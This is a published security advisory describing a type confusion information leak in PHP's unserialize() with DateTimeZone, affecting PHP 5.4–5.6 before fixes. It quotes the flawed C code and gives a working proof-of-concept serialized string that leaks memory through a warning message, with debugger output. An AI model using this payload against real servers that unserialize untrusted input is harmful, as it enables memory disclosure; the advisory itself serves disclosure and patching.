PHP versions below 5.6.6, below 5.5.22, and below 5.4.38 suffer from a type confusion information leak in DateTimeZone.
960a07af7fc962fbbbd63879673d29572b4d34a6892640c9968ebecc39750216
#Type Confusion Infoleak Vulnerability in unserialize() with DateTimeZone
Taoguang Chen <[@chtg](https://github.com/chtg)> - Write Date:
2015.1.29 - Release Date: 2015.2.20
> A Type Confusion Vulnerability was discovered in unserialize() with DateTimeZone object's __wakeup() magic method that can be abused for leaking arbitrary memory blocks.
Affected Versions
------------
Affected is PHP 5.6 < 5.6.6
Affected is PHP 5.5 < 5.5.22
Affected is PHP 5.4 < 5.4.38
Credits
------------
This vulnerability was disclosed by Taoguang Chen.
Description
------------
```
static int php_date_timezone_initialize_from_hash(zval **return_value,
php_timezone_obj **tzobj, HashTable *myht TSRMLS_DC)
{
zval **z_timezone = NULL;
zval **z_timezone_type = NULL;
if (zend_hash_find(myht, "timezone_type", 14, (void**)
&z_timezone_type) == SUCCESS) {
if (zend_hash_find(myht, "timezone", 9, (void**) &z_timezone) == SUCCESS) {
convert_to_long(*z_timezone_type);
if (SUCCESS == timezone_initialize(*tzobj, Z_STRVAL_PP(z_timezone)
TSRMLS_CC)) {
return SUCCESS;
}
}
}
return FAILURE;
}
...
static int timezone_initialize(php_timezone_obj *tzobj, /*const*/ char
*tz) /* {{{ */
{
timelib_time *dummy_t = ecalloc(1, sizeof(timelib_time));
int dst, not_found;
char *orig_tz = tz;
dummy_t->z = timelib_parse_zone(&tz, &dst, dummy_t, ¬_found,
DATE_TIMEZONEDB, php_date_parse_tzfile_wrapper);
if (not_found) {
php_error_docref(NULL, E_WARNING, "Unknown or bad timezone (%s)", orig_tz);
```
The Z_STRVAL_PP macro lead to looking up an arbitrary valid memory
address, and outputing a string via an warning level error message
that start from this memory address.
Proof of Concept Exploit
------------
The PoC works on standard MacOSX 10.10.2 installation of PHP 5.5.14.
```
<?php
$data = unserialize('O:12:"DateTimeZone":2:{s:13:"timezone_type";i:1;s:8:"timezone";i:4298494896;}');
?>
```
Test the PoC on the command line, then show warning level error message:
```
$ lldb php
(lldb) target create "php"
Current executable set to 'php' (x86_64).
(lldb) run test/test.php
Process 889 launched: '/usr/bin/php' (x86_64)
Warning: DateTimeZone::__wakeup(): Unknown or bad timezone
(UH??AWAVAUATSH??8) in /test/test.php on line 3
Process 889 exited with status = 0 (0x00000000)
```